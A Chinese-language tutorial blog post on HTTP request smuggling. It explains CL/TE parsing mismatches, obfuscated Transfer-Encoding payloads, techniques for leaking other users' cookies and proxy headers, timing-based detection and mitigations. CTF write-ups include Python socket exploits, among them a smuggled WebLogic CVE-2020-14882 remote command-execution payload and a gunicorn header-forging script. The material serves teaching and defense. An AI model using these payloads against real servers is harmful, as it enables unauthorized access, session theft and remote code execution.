http请求走私漏洞原理,利用,检测,防护

news2024/11/16 10:30:54

目录

什么是请求走私

漏洞成因与常见类型 

Keep-Alive&Pipeline

CL&TE

常见走私类型

1.CL不为0

2.CL CL

3.CL TE

4.TE CL 

5.TE TE

走私攻击应用实例(漏洞利用)

使用CL TE走私获取其他用户的请求、Cookie

2.泄露请求头重写请求实现未授权访问

3.其它应用

CTF实战利用

GKCTF2021[hackme]

最终exp

RCTF2019[esay calc]

常规绕waf

走私绕waf

CL CL

CL TE 

ISCC2022[让我康康!]

分析与利用

最终exp

如何检测HTTP走私漏洞

1、延时技术(CL-TE漏洞)

2、延时技术(TE-CL漏洞)

防护措施


什么是请求走私

当今的web架构中,单纯的一对一客户端---服务端结构已经逐渐过时。为了更安全的处理客户端发来的请求,服务端会被分为两部分:前端服务器与后端服务器。前端服务器(例如代理服务器)负责安全控制,只有被允许的请求才能转发给后端服务器,而后端服务器无条件的相信前端服务器转发过来的全部请求,并对每一个请求都进行响应。但是在这个过程中要保证前端服务器与后端服务器的请求边界设定一致,如果前后端服务器对请求包处理出现差异,那么就可能导致攻击者通过发送一个精心构造的http请求包,绕过前端服务器的安全策略直接抵达后端服务器访问到原本禁止访问的服务或接口,这就是http请求走私。

听起来是不是有点像SSRF?不过SSRF与HTTP请求走私是有差别的,SSRF是直接利用内网机器来访问内网资源,但请求走私不是。用一张portswigger报告中经典的图来理解一下,有一种夹带私货的感觉,或许这就是被称为走私漏洞的原因吧:

漏洞成因与常见类型 

http请求走私攻击比较特殊,它不像常规的web漏洞那样直观。它更多的是在复杂网络环境下,不同的服务器对RFC标准实现的方式不同,程度不同。因此,对同一个HTTP请求,不同的服务器可能会产生不同的处理结果,这样就产生了安全风险。

在学习之前我们先了解一下HTTP1.1中使用最为广泛的两种特性:Keep-Alive&Pipeline

Keep-Alive&Pipeline

所谓Keep-Alive,就是在HTTP请求中增加一个特殊的请求头Connection: Keep-Alive,告诉服务器,接收完这次HTTP请求后,不要关闭TCP链接,后面对相同目标服务器的HTTP请求,重用这一个TCP链接,这样只需要进行一次TCP握手的过程,可以减少服务器的开销,节约资源,还能加快访问速度。当然,这个特性在HTTP1.1中是默认开启的

有了Keep-Alive之后,后续就有了Pipeline,在这里呢,客户端可以像流水线一样发送自己的HTTP请求,而不需要等待服务器的响应,服务器那边接收到请求后,需要遵循先入先出机制,将请求和响应严格对应起来,再将响应发送给客户端。

如今,浏览器默认是不启用Pipeline的,但是一般的服务器都提供了对Pipleline的支持。

CL&TE

CL 和 TE 即是 Content-Length 和 Transfer-Encoding 请求头(严格来讲前者是个实体头,为了方便就都用请求头代指)。这里比较有趣的是 Transfer-Encoding(HTTP/2 中不再支持),指定用于传输请求主体的编码方式,可以用的值有 chunked/compress/deflate/gzip/identity ,完整的定义在 Transfer-Encoding#Directives 和 rfc2616#section-3.6

CL好理解,对于TE我们重点关注chunked。当我们设置TE为chunked时,CL就会被省略。为了区分chunk的边界,我们需要在每个chunk前面用16进制数来表示当前chunk的长度,后面加上\r\n,再后面就是chunk的内容,然后再用\r\n来代表chunk的结束。最后用长度为 0 的块表示终止块。终止块后是一个 trailer,由 0 或多个实体头组成,可以用来存放对数据的数字签名等。譬如下面这个例子:

 POST / HTTP/1.1
 Host: example.com
 Content-Type: application/x-www-form-urlencoded
 Transfer-Encoding: chunked

 b //chunk_size
 q=smuggling
 6
 hahaha
 0 //end
 [blank]
 [blank]

另外要注意\r\n占2字节,我们在计算长度的时候很容易把它们忽略。最后把请求包以字节流形式表述出来就是:

POST / HTTP/1.1\r\nHost: 1.com\r\nContent-Type: application/x-www-form-urlencoded\r\nTransfer-Encoding: chunked\r\n\r\nb\r\nq=smuggling\r\n6\r\nhahaha\r\n0\r\n\r\n

常见走私类型

1.CL不为0

如果前端代理服务器允许GET携带请求体,而后端服务器不允许GET携带请求体,后端服务器就会直接忽略掉GET请求中的Content-Length头,这就有可能导致请求走私。

例如我们构造出:

 GET / HTTP/1.1\r\n
 Host: example.com\r\n
 Content-Length: 43\r\n

 GET / admin HTTP/1.1\r\n
 Host: example.com\r\n
 \r\n

在前端服务器看来它是一个请求,但是在后端服务器来看它就是:

 //第一个请求
 GET / HTTP/1.1\r\n
 Host: example.com\r\n

 //第二个请求
 GET / admin HTTP/1.1\r\n
 Host: example.com\r\n

2.CL CL

在RFC7230的第3.3.3节中的第四条中,规定当服务器收到的请求中包含两个Content-Length,而且两者的值不同时,需要返回400错误。

RFC 7230: Hypertext Transfer Protocol (HTTP/1.1): Message Syntax and Routing

但是很明显这并非是强制的,如果服务器不遵守安全规定在服务器收到多个CL不相同的请求时不返回400错误,那么就可能会导致请求走私。

我们假设前端服务器按照第一个CL处理而后端服务器按照第二个CL,构造出如下HTTP包:

 POST / HTTP/1.1\r\n
 Host: example.com\r\n
 Content-Length: 8\r\n
 Content-Length: 7\r\n

 12345\r\n
 a

前端代理服务器收到的请求通过第一个CL判断body为8字节,随后将包发送给后端源服务器;源服务器收到请求通过第二个CL判断body为7字节,这时候最后一个字节 b'a'就会被遗留在源服务器缓存器。由于前后端服务器一般是宠用TCP连接,假设此时正常用户向服务器发送了正常的数据包,如下:

 GET / HTTP/1.1\r\n
 Host: example.com\r\n

这时残留在缓存中的一个字节就会被添加到这个正常的请求前端变成:

 aGET / HTTP/1.1\r\n
 Host: example.com\r\n

导致了请求走私,正常数据包被篡改。

但很明显这种情况过于“巧合”应该很难遇见,存在两个CL的包一般服务器都不会接受,在RFC2616的第4.4节中,规定:如果收到同时存在Content-Length和Transfer-Encoding这两个请求头的请求包时,在处理的时候必须忽略Content-Length,这就意味着我们可以在头部同时包含这两种请求头,相比这下这种方式更现实一些。

3.CL TE

所谓CL TE就是前置服务器认为 Content-Length 优先级更高(或者说根本就不支持 Transfer-Encoding ) ,后端服务器认为 Transfer-Encoding 优先级更高。

我们可以构造出body中带有字节 0的请求包,前端服务器通过CL判断这是一个正常的数据包并转发给后端,后端服务器使用TE就会把字节0后的数据滞留到缓冲区,并且与下一次的正常请求进行拼接,这里用一下portswigger团队的lab作为实验:

Lab: HTTP request smuggling, basic CL.TE vulnerability | Web Security Academy

构造如下请求包:

 POST / HTTP/1.1\r\n
 Host: ac721f8e1fcb0119c0b98800005c0061.web-security-academy.net\r\n
 Cookie: session=ehzpRrrgyPHDRJtSnaWLcZ0fstSXLWiC\r\n
 Sec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="100", "Google Chrome";v="100"\r\n
 Sec-Ch-Ua-Mobile: ?0\r\n
 Sec-Ch-Ua-Platform: "Windows"\r\n
 Upgrade-Insecure-Requests: 1\r\n
 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36\r\n
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\r\n
 Sec-Fetch-Site: none\r\n
 Sec-Fetch-Mode: navigate\r\n
 Sec-Fetch-User: ?1\r\n
 Sec-Fetch-Dest: document\r\n
 Accept-Encoding: gzip, deflate\r\n
 Accept-Language: zh-CN,zh;q=0.9\r\n
 Connection: close\r\n
 Content-Length: 10\r\n
 Transfer-Encoding:chunked\r\n
 \r\n
 0\r\n
 \r\n
 A\r\n
 \r\n

连续发送几次就会发现字母A被拼接到了下一请求中,导致了请求走私,当然也会报错。

4.TE CL 

TE CL与CL TE正好相反,假如前端服务器处理TE请求头,而后端服务器处理CL请求头,我们同样可以构造恶意数据包完成走私攻击;依旧使用portswigger的lab:

Lab: HTTP request smuggling, basic TE.CL vulnerability | Web Security Academy

我们构造出如下请求:

 POST / HTTP/1.1
 Host: ac901ff41f9aa7fdc0ce7b16001000db.web-security-academy.net
 Cookie: session=MrJkkUD4dyxv9gzzgERPtb56d0cCo79Z
 Cache-Control: max-age=0
 Sec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="100", "Google Chrome";v="100"
 Sec-Ch-Ua-Mobile: ?0
 Sec-Ch-Ua-Platform: "Windows"
 Upgrade-Insecure-Requests: 1
 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
 Sec-Fetch-Site: cross-site
 Sec-Fetch-Mode: navigate
 Sec-Fetch-User: ?1
 Sec-Fetch-Dest: document
 Referer: https://portswigger.net/
 Accept-Encoding: gzip, deflate
 Accept-Language: zh-CN,zh;q=0.9
 Connection: close
 Content-Type: application/x-www-form-urlencoded
 Content-Length: 4
 Transfer-Encoding: chunked

 12
 WPOST / HTTP/1.1

 0

多次发送后发现:

WPOST被拆分了出来,重点关注body部分 

 \r\n
 12\r\n
 WPOST / HTTP/1.1\r\n
 \r\n
 0\r\n
 \r\n

前端处理TE读取到0\r\n\r\n之后就认为读取完毕发送给后端,而后端处理CL只读取4字节\r\n12就认为数据包结束,这时候剩下的WPOST / HTTP/1.1\r\n\r\n0\r\n\r\n就被认为是另一个请求,因此发生了请求报错。

5.TE TE

TE-TE:前置和后端服务器都支持 Transfer-Encoding,但通过混淆能让它们在处理时产生分歧。

lab:

Lab: HTTP request smuggling, obfuscating the TE header | Web Security Academy

构造出如下请求包:

 POST / HTTP/1.1
 Host: ace41f161f1a1382c0814ee300db0086.web-security-academy.net
 Cookie: session=nqskpdP0aWuG4GW5xlYYxEUVulcJC6vG
 Cache-Control: max-age=0
 Sec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="100", "Google Chrome";v="100"
 Sec-Ch-Ua-Mobile: ?0
 Sec-Ch-Ua-Platform: "Windows"
 Upgrade-Insecure-Requests: 1
 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
 Sec-Fetch-Site: cross-site
 Sec-Fetch-Mode: navigate
 Sec-Fetch-User: ?1
 Sec-Fetch-Dest: document
 Referer: https://portswigger.net/
 Accept-Encoding: gzip, deflate
 Accept-Language: zh-CN,zh;q=0.9
 Connection: close
 Content-Type: application/x-www-form-urlencoded
 Content-Length: 4
 Transfer-Encoding:chunked //两种TE造成混淆
 Transfer-Encoding:cow

 5c
 WPOST / HTTP/1.1
 Content-Type: application/x-www-form-urlencoded
 Content-Length: 15

 x=1
 0

多次发送后:

可以看到这里我们采用了:

 Transfer-Encoding:chunked\r\n
 Transfer-Encoding:cow\r\n

除了这种混淆方式,除了这些portswigger团队还给出了其它可用于TE混淆的payload:

 Transfer-Encoding: xchunked
 Transfer-Encoding[空格]: chunked
 Transfer-Encoding: chunked
 Transfer-Encoding: x
 Transfer-Encoding:[tab]chunked
 [空格]Transfer-Encoding: chunked
 X: X[\n]Transfer-Encoding: chunked
 Transfer-Encoding
 : chunked

走私攻击应用实例(漏洞利用)

使用CL TE走私获取其他用户的请求、Cookie

lab:

https://ac991f4d1ef4a5e7c0bd1cc8006c0014.web-security-academy.net/

打开页面是blog,用户可以在页面发表评论,由于前后端服务器的请求头处理差异导致我们可以利用CL TE获取其它用户的请求头,譬如我们构造出如下请求:

 POST / HTTP/1.1
 Host: ac991f4d1ef4a5e7c0bd1cc8006c0014.web-security-academy.net
 Cookie: session=plmft6w5VTTDEI0J15a06sNdaQUcPNPO
 Content-Length: 333
 Transfer-Encoding:chunked
 Content-Type: application/x-www-form-urlencoded

 0

 POST /post/comment HTTP/1.1
 Host: ac991f4d1ef4a5e7c0bd1cc8006c0014.web-security-academy.net
 Cookie: session=plmft6w5VTTDEI0J15a06sNdaQUcPNPO
 Content-Length: 700
 Content-Type: application/x-www-form-urlencoded

csrf=vMqN9Cq1aip2DYMTyFEokIA5IkONc7oM&postId=6&name=a&email=1%40qq.com&website=http%3A%2F%2F1.com&comment=spring

前端服务器使用CL验证,获取CL为333后判定这是一个正常的请求并发送给后端,而后端服务器通过TE的结尾表标识0\r\n\r\n认为前半部分是一个正常的请求,而后半部分:

   POST /post/comment HTTP/1.1
 Host: ac991f4d1ef4a5e7c0bd1cc8006c0014.web-security-academy.net
 Cookie: session=plmft6w5VTTDEI0J15a06sNdaQUcPNPO
 Content-Length: 700
 Content-Type: application/x-www-form-urlencoded

 csrf=vMqN9Cq1aip2DYMTyFEokIA5IkONc7oM&postId=6&name=a&email=1%40qq.com&website=http%3A%2F%2F1.com&comment=spring

因为Pipeline的存在被放置在了缓存区。如果这时另一个正常用户也发来了一段评论,那么这个请求会被拼接到滞留在缓存区的请求后面构成一个新的请求:

 POST /post/comment HTTP/1.1
 Host: ac991f4d1ef4a5e7c0bd1cc8006c0014.web-security-academy.net
 Cookie: session=plmft6w5VTTDEI0J15a06sNdaQUcPNPO
 Content-Length: 700
 Content-Type: application/x-www-form-urlencoded
 csrf=vMqN9Cq1aip2DYMTyFEokIA5IkONc7oM&postId=6&name=a&email=1%40qq.com&website=http%3A%2F%2F1.com&comment=springPOST /post/comment HTTP/1.1
 Host: ac991f4d1ef4a5e7c0bd1cc8006c0014.web-security-academy.net
 Cookie: session=ashAwdweas.......

这时候我们就发现请求头被拼接到了comment的后面然后被当作comment返回,这样我们就可能通过获取到其他用户的Cookie。

在lab中我们要不断第二个CL的大小,调整至合适大小才有可能正常泄露出来;我从700开始服务器报500,但不知道是哪里出了问题响应一直超时:

不过原理还是很好理解,大家可以自己去试一试,有点玄学。 

2.泄露请求头重写请求实现未授权访问

前面我们提到,前端服务器的作用之一就是过滤外界用户对于未授权接口的访问,一般前端用户收到一段请求后,会在包里添加一些请求头例如:

用户的session等会话ID。

XFF头用于显示用户IP,当然一般不会是X-Forwarded-For因为很容易被猜到。

用户指纹信息、token等。

如果我们能泄露这些前端服务器向后端服务器中继发送的请求中的请求头,那么我们就可以伪造出前端服务器的请求包来完成对敏感接口的未授权访问,实现一些恶意操作。

那么问题来了,我们如何能获取到前端服务器发送到后端服务器的请求头呢?其实不难想,如果服务器能对我们输入的POST参数,即body部分响应输出,然后我们构造一个普通的请求放在body后面,前端服务器接收到之后就会对我们添加的请求进行重写,如果我们的指定Content-Length为较大的值就会把前端服务器重写时添加的重要字段给泄露出来拼接到body后面,随后后端服务器会将其与响应一并返回。

这么讲可能还是有些抽象,我们拿lab来举例:

https://acbc1f4d1e121980c02b64d600c40022.web-security-academy.net/

构造出如下请求包:

 POST / HTTP/1.1
 Host: acbc1f4d1e121980c02b64d600c40022.web-security-academy.net
 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
 Cookie: session=RcsAYo8SoCQx0bwXn0oG0G1RkLNPHuz4
 Content-Type: application/x-www-form-urlencoded
 Content-Length: 77
 Transfer-Encoding:chunked

 0

 POST / HTTP/1.1
 Content-Length:70
 Connection:close

 search=111

多发送几次我们会发现成功泄露出来XFF头信息:

我们简单捋一下过程便于理解,首先前端服务器通过CL判断出这是一个完整的请求并转发给后端服务器,后端服务器通过TE将0字节标识前的部分正常处理,后半部分也被看作是一次正常的请求但被滞留在缓存区,同时由于我们设置的CL是超过实际长度,缓存区就会等待下一次正常请求,也就是前端服务器发来的新请求截取其部分请求头放在请求参数后面凑够CL后一并返回。

我们走私到后端服务器被滞留在缓存区的请求是:

 POST / HTTP/1.1
 Content-Length:70
 Connection:close

 search=111

 后端服务器接收到新请求并拼接在search之后是:

 POST / HTTP/1.1
 Content-Length:70
 Connection:close

 search=111 POST / HTTP/1.1 X-TsINOz-Ip: 117.136.5.78 Host:......

最后后端服务器就会将信息响应返回。

3.其它应用

除了这两种还有一些利用方式:

反射型 XSS 组合拳

将 on-site 重定向变为开放式重定向

缓存投毒

缓存欺骗

这些@mengchen师傅在知道创宇404发的paper里都有实验讲解,感兴趣的可以去看一看。(paper链接在文末)

CTF实战利用

GKCTF2021[hackme]

这道题目首先是需要nosql注入爆出密码,然后登陆获得任意文件读取功能,前半部分我们暂且忽略,我们重点关注后半部分。

读取nginx配置文件发现后端存在weblogic服务:

同时注意到nginx版本为1.17.6,存在请求走私: 

假如我们构造: 

 GET /a HTTP/1.1
 Host: localhost
 Content-Length: 56
 GET /_hidden/index.html HTTP/1.1
 Host: notlocalhost

那么nginx会把这两个请求都执行,这就会造成请求走私。可参考:

HTTP请求走私攻击-学习笔记 | V0W's Blog

针对这道题目我们构造出如下请求包:

 GET /test HTTP/1.1
 Host: node4.buuoj.cn:27230
 Content-Length: 0
 Transfer-Encoding: chunked

 GET /console/login/LoginForm.jsp HTTP/1.1
 Host: weblogic

响应包中包含了weblogic的版本信息:

WebLogic Server Version: 12.2.1.4.0

版本正好契合CVE-2020-14882,我们直接拿socket去打就可以拿到flag。

最终exp

来源于https://www.lemonprefect.cn的博客

 import socket

 sSocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 sSocket.connect(("node4.buuoj.cn", 26319))
 payload = b'''HEAD / HTTP/1.1\r\nHost: node4.buuoj.cn\r\n\r\nGET /console/css/%252e%252e%252fconsolejndi.portal?test_handle=com.tangosol.coherence.mvel2.sh.ShellSession(%27weblogic.work.ExecuteThread%20currentThread%20=%20(weblogic.work.ExecuteThread)Thread.currentThread();%20weblogic.work.WorkAdapter%20adapter%20=%20currentThread.getCurrentWork();%20java.lang.reflect.Field%20field%20=%20adapter.getClass().getDeclaredField(%22connectionHandler%22);field.setAccessible(true);Object%20obj%20=%20field.get(adapter);weblogic.servlet.internal.ServletRequestImpl%20req%20=%20(weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod(%22getServletRequest%22).invoke(obj);%20String%20cmd%20=%20req.getHeader(%22cmd%22);String[]%20cmds%20=%20System.getProperty(%22os.name%22).toLowerCase().contains(%22window%22)%20?%20new%20String[]{%22cmd.exe%22,%20%22/c%22,%20cmd}%20:%20new%20String[]{%22/bin/sh%22,%20%22-c%22,%20cmd};if(cmd%20!=%20null%20){%20String%20result%20=%20new%20java.util.Scanner(new%20java.lang.ProcessBuilder(cmds).start().getInputStream()).useDelimiter(%22\\\\A%22).next();%20weblogic.servlet.internal.ServletResponseImpl%20res%20=%20(weblogic.servlet.internal.ServletResponseImpl)req.getClass().getMethod(%22getResponse%22).invoke(req);res.getServletOutputStream().writeStream(new%20weblogic.xml.util.StringInputStream(result));res.getServletOutputStream().flush();}%20currentThread.interrupt(); HTTP/1.1\r\nHost:weblogic\r\ncmd: /readflag\r\n\r\n'''
 sSocket.send(payload)
 sSocket.settimeout(2)
 response = sSocket.recv(2147483647)
 while len(response) > 0:
print(response.decode())
try:
response = sSocket.recv(2147483647)
except:
break
 sSocket.close()

RCTF2019[esay calc]

常规绕waf

首先查看源码根据提示来到calc.php

代码对特殊字符进行了一些过滤,注意到最后代码执行,我们传入: 

calc.php?num=;)phpinfo();//

执行后发现:

明显是有waf不合法请求,有一种做法是参数前面加空格使服务器无法解析绕waf,再用ascii转码读文件:

? num=readfile(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))

走私绕waf

注意到只要能让前端服务器报错我们就能突破前端waf限制;所以事实上我们还可以利用走私攻击绕waf,而且前面四种方式都是有效的,这里举两个例子,剩下几种大家可以自行尝试:

注意下面的请求中num前没有空格了。

CL CL

CL TE 

ISCC2022[让我康康!]

分析与利用

如果直接访问flag会爆403:

我们通过相应包的头部发现了gunicorn20.0,经查阅版本存在请求走私,具体可参考: 

grenfeldt.dev

通过给出的POC我们编写脚本成功实现请求走私,看到要求很明显是需要获取前端服务器请求头的来源IP名称来伪造本地访问获取flag:

那么我的思路就是多次发送请求,并且设置前一个请求的CL为超过实际请求体的较大数值;由于后端服务器设置Keep-Alive,所以它会误认为请求没有发送完毕,会继续等待;而这时候我们再给前端服务器发送一个请求,前端服务器就会把带有来源IP头部的http包发送给后端服务器,后端服务器接收足够上一包内CL的时候就会把这个泄露敏感凭证的包一并返回给客户端,从而造成了敏感信息泄露。

其实思路与上面讲到的应用实例2一样,只不过gunicorn20.0的走私漏洞是由于默认Sec-Websocket-Key的配置导致后端服务器会以xxxxxxxx为标识位,这就导致xxxxxxxx后面的部分会滞留在缓存区,可以认为是一种变种的CL TE走私。

我们可以通过burp直接构造请求,但是由于Content-Length需要我们自定义,比如第一个Content-Length仅仅是计算到第一个手动添加的POST请求,所以构造的时候要额外小心。

当然我们直接写脚本拿socket发更直观。

最终exp

 import socket

 secret_payload=b'''POST / HTTP/1.1\r
 Host: 59.110.159.206:7020\r
 Content-Length: 149\r
 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
 Content-Type: application/x-www-form-urlencoded\r
 Sec-Websocket-Key1:x\r
 \r
 xxxxxxxxPOST / HTTP/1.1\r
 Host:127.0.0.1\r
 secr3t_ip: 127.0.0.1\r
 Content-Length: 150\r
 Content-Type: application/x-www-form-urlencoded\r
 \r
 search=abc\r
 \r
 POST / HTTP/1.1\r
 Content-Length: 14\r
 Content-Type: application/x-www-form-urlencoded\r
 \r
 search=111\r
 \r
 '''

 final_payload=b'''POST / HTTP/1.1\r
 Host: 59.110.159.206:7020\r
 Content-Length: 152\r
 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36\r
 Content-Type: application/x-www-form-urlencoded\r
 Sec-Websocket-Key1:x\r
 \r
 xxxxxxxxGET /fl4g HTTP/1.1\r
 Host:127.0.0.1\r
 secr3t_ip: 127.0.0.1\r
 Content-Length: 150\r
 Content-Type: application/x-www-form-urlencoded\r
 \r
 search=abc\r
 \r
 POST / HTTP/1.1\r
 Content-Length: 14\r
 Content-Type: application/x-www-form-urlencoded\r
 \r
 search=111\r
 \r
 '''
 test1 = b'''POST / HTTP/1.1\r
 Host: 127.0.0.1\r
 Content-Length: 67\r
 Sec-Websocket-Key1:x\r
 \r
 xxxxxxxxGET /fl4g HTTP/1.1\r
 Host:127.0.0.1\r
 Content-Length: 123\r
 \r
 GET / HTTP/1.1\r
 Host: 127.0.0.1\r
 \r
 '''
 test2=b'''POST / HTTP/1.1
 Host: 59.110.159.206:7020
 Content-Length: 10
 Content-Type: application/x-www-form-urlencoded

 search=123'''

 sSocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 sSocket.connect(("59.110.159.206", 7020))


 def send(payload):
print(payload)
sSocket.send(payload)
sSocket.settimeout(2)
response = sSocket.recv(2147483647)
while len(response) > 0:
print(response.decode())
try:
response = sSocket.recv(2147483647)
except:
break
sSocket.close()

 if __name__ == '__main__':
send(final_payload)

如何检测HTTP走私漏洞

1、延时技术(CL-TE漏洞)

POST / HTTP/1.1
Host: example.net
Transfer-Encoding: chunked
Content-Length: 4
 
1
a
b

解释:代理服务器使用了CL为4的长度时,它就只会转发4个字节长度的内容,会把b丢弃,而后端使用TE,遇到0/r/n/r/n,才会终止,但是一直等不到0\r\n\r\n,就会一直等待直到超时。

2、延时技术(TE-CL漏洞)

POST / HTTP/1.1
Host: example.net
Transfer-Encoding: chunked
Content-Length: 9
 
0
 
qwer

代理服务器时TE,他开始就遇到0\r\n\r\n,直接把qwer丢弃,然后将数据包发送给后端,后端用的是CL,要9个字节长度内容才会终止,等不到就一直等,直到响应超时。

防护措施

1、禁用代理服务器和后端服务器之间的TCP连接重用(但这样会加大服务器的压力)。

2、使用HTTP/2协议。

3、前后端服务器配置相同。

4、严格的实现RFC7230-7235中所规定的的标准。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/32328.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

UE4贴图自适应屏幕大小

游戏开发中,不同屏幕下的分辨率不同,模型/物品被拉伸之后贴图也会随之拉伸。 如果需要在不同屏幕下面实现贴图真实大小不变(以下简称为自适应),需要对UV进行缩放处理之后再取得对应贴图的颜色。 本文提供一种能够实现不…

为什么国外程序员的创造力比中国程序员强?

1川口耕介是个日本程序员,他曾在Sun公司从事Java、XML和Solaris相关的开发。2004年,他用Java写了叫做一个Hudson的开源工具,专门做持续集成(CI)。Hudson安装、配置、使用都非常方便,并且支持用插件的形式扩…

有求必应 | 听说这个管线排布,横竖都行?

大家好,今天还是被 yi 情反复拿捏的建模助手。 拿捏归拿捏,企微客服还是很认真得在给大家答疑解惑记bug,刚好有求知若渴的盆友问到管线排布这个角度,是否能有小数点,比如1.2,或者0.8。 对待此类问题&#x…

无线传感器网络:排队论(Queueing Theory)模型

文章目录The arrival ProcessQueueing SystemThe M/M/1 queueThe M/M/1/N queueReferences排队理论已被用于评估通信网络的性能很多年了。早在1917年,丹麦数学家 Erlang 就将该理论用于电话交换机的设计,并开创了现在著名的 Erlang-B 和 Erlang-C 公式&a…

DevData Talks | 知乎艾辉:从工具建设到运营,千人团队研发提效最佳实践

在千人级别的组织层级提升研发效能,是一种什么体验?可以确定的是,千人级组织的效能提升,并不是百人级团队的等比放大。 在数十人乃至小百人的团队,统一规范研发工具与流程的门槛相对较低,参与方也比较简单…

07 索引

1.索引 概述 1. 简介 索引是一种帮助数据库高效获取数据的数据结构;通过索引可以快速获取到符合条件的数据的内存地址,避免全表扫描 2. 索引的优缺点 优点: 可以快速地检索数据,降低数据IO成本通过索引可以对数据进行排序&…

jenkins 共用宿主机中的docker自动化部署

目录 第一节 jenkins 共用宿主机中的docker自动化部署 1.docker命令安装启动jenkins 2.查询jenkins内是否可以执行宿主机中的docker 第二节.jenkins 配置自动化部署 1.界面配置 1.配置mave 2.配置gitee 第三节 创建springboot多模块项目 1.相关配置 1.pom 2.编写docke…

【面试题】作用域和闭包

1. 作用域 作用域是指变量的合法使用范围。 例如下图中,函数fn3内定义的变量a3,无法在函数fn3以外的区域使用。 作用域分为全局作用域,函数作用域,块级作用域(ES6新增) 全局作用域:变量没有受…

HTML+CSS+JS个人网页设计期末课程大作业 web前端开发技术 web课程设计 网页规划与设计

🎉精彩专栏推荐👇🏻👇🏻👇🏻 ✍️ 作者简介: 一个热爱把逻辑思维转变为代码的技术博主 💂 作者主页: 【主页——🚀获取更多优质源码】 🎓 web前端期末大作业…

MYSQL索引数据结构----B+树

索引数据结构的考量 我们在考虑数据结构的时候,应该首先要知道数据存放在哪里? 而MYSQL的数据是持久化的,所以其数据(数据记录索引)应该是保存在磁盘里面的。因此当我们要查询某条数据记录时,就会先从磁盘…

[附源码]计算机毕业设计JAVA某城市参军和退役军人信息管理系统

[附源码]计算机毕业设计JAVA某城市参军和退役军人信息管理系统 项目运行 环境配置: Jdk1.8 Tomcat7.0 Mysql HBuilderX(Webstorm也行) Eclispe(IntelliJ IDEA,Eclispe,MyEclispe,Sts都支持)。 项目技术&#xff…

一文理解Linux的基本指令(三分钟学会Linux基本指令)

前沿: 本文小马将把Linux一般比较常见的指令给大家一一列举出来,为了大家忘记某些指令后,可以方便查询记忆,再次小马建议,Linux指令并不需要去特别花时间专门记忆,只需要多进行操作实现就行! &a…

算法图解学习3 选择排序

random recording 随心记录 What seems to us as bitter trials are often blessings in disguise. 看起来对我们痛苦的试炼,常常是伪装起来的好运。 选择排序 内存工作原理 背景引入 假设你去看演出,需要将东西寄存。寄存处有一个柜子,柜子…

Go | 函数注意事项

细节汇总 函数的形参列表可以是多个,返回值列表也可以是多个形参列表和返回值列表的数据类型,可以是值类型、也可以是引用类型函数的命名遵循标识符命名规范,首字母不能是数字,首字母大写表示该函数可以被本包文件和其它文件使用…

在线就能设计电商主图的智能平台工具

商品要上新要如何设计新品主图?想设计简约分的主图素材在哪?下面小编教你使用这个在线工具乔拓云,工具内包含了设计主图用到的所有工具,还有海量的电商模板以及免扣素材,都是可以直接使用到主图设计中,不需…

Linux中线程的介绍

目录 一.线程概念 1.什么是线程 二.Linux进程与线程 三.pthread库 3.1线程创建 3.2线程等待 3.2线程终止 3.4分离线程 四.线程ID及进程地址空间布局 一.线程概念 1.什么是线程 1.在一个程序里的一个执行路线就叫做线程(thread)。更准确的定义是&…

2022亚太杯建模B题思路 : 高速列车的优化设计 小美赛数学建模 B题思路

1 B题:高速列车的优化设计 2022年4月12日,中国高铁复兴CR450多机组成功实现单列列车速度435 km/h,相对速度870 km/h,创造了高铁多机组列车穿越明线和隧道速度的世界纪录。新一代标准动车组“复兴”是中国自主研发的具有全知识产权…

外贸线上推广引流的技巧

外贸网站建成后,很多外贸企业通常会面临一个重要的问题。网站装修和产品布局都很漂亮,但是流量很小。由此可见,外贸网站的引流推广是非常重要的。接下来,米贸搜给大家分享一些外贸网站引流推广的技巧,让网站快速获得流…

浙里办微信小程序上架

一、概述 本指南旨在为“浙里办”单点登录组件提供接入指南,“浙里办”单点登陆组件,上架在IRS,为上架在IRS的应用,提供统一的单点登录解决方案,现阶段仅支持微信端的接入。 二、服务创建 IRS 应用管理员在 IRS 应用…

Kali系统MSF模块暴力破解MySQL弱口令漏洞

一、实验环境 1.攻击方: 攻击环境使用KALI系统(使用虚拟机搭建)的Metasploit模块,msfconsole是metasploit中的一个工具,它集成了很多漏洞的利用的脚本,并且使用起来很简单的网络安全工具。 这里要特别强…